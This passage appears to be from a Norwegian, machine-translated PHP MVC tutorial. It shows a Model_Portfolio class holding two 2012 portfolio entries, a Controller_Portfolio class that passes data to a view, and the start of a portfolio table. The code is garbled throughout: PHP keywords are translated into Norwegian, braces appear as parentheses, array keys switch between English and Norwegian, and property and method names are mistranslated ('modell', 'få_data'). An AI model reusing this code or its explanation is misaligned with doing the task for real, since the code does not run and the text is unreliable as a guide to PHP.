klasse Model_Portfolio utvider Model ( public function get_data () ( return array (array ("Year" => "2012", "Site" => "http://DunkelBeer.ru" , "Description" => "Kampanjenettstedet til mørkt Dunkel-øl fra den tyske produsenten Löwenbraü produsert i Russland av bryggeriselskapet "SUN InBev." ), array ("År" => "2012" , "Site" => "http://ZopoMobile.ru" , "Beskrivelse " => "Russiskspråklig katalog over kinesiske telefoner fra Zopo basert på Android OS og tilbehør til dem."), // todo ) ) )
Modellkontrollerklassen er inneholdt i controller_portfolio.php-filen, her er koden:
klasse Controller_Portfolio utvider Controller ( funksjon __construct () ( $this ->model = new Model_Portfolio(); $this ->view = new View(); ) function action_index () ( $data = $this ->modell->get_data( ); $this ->view->generate("portfolio_view.php" , "template_view.php" , $data ); ) )
Til en variabel data matrisen som returneres av metoden skrives få_data som vi så på tidligere.
Denne variabelen sendes deretter som en metodeparameter generere, som også inneholder: navnet på filen med den generelle malen og navnet på filen som inneholder visningen med sideinnholdet.
Visningen som inneholder sideinnholdet er i portfolio_view.php-filen.
Portefølje
År | Prosjekt | Beskrivelse |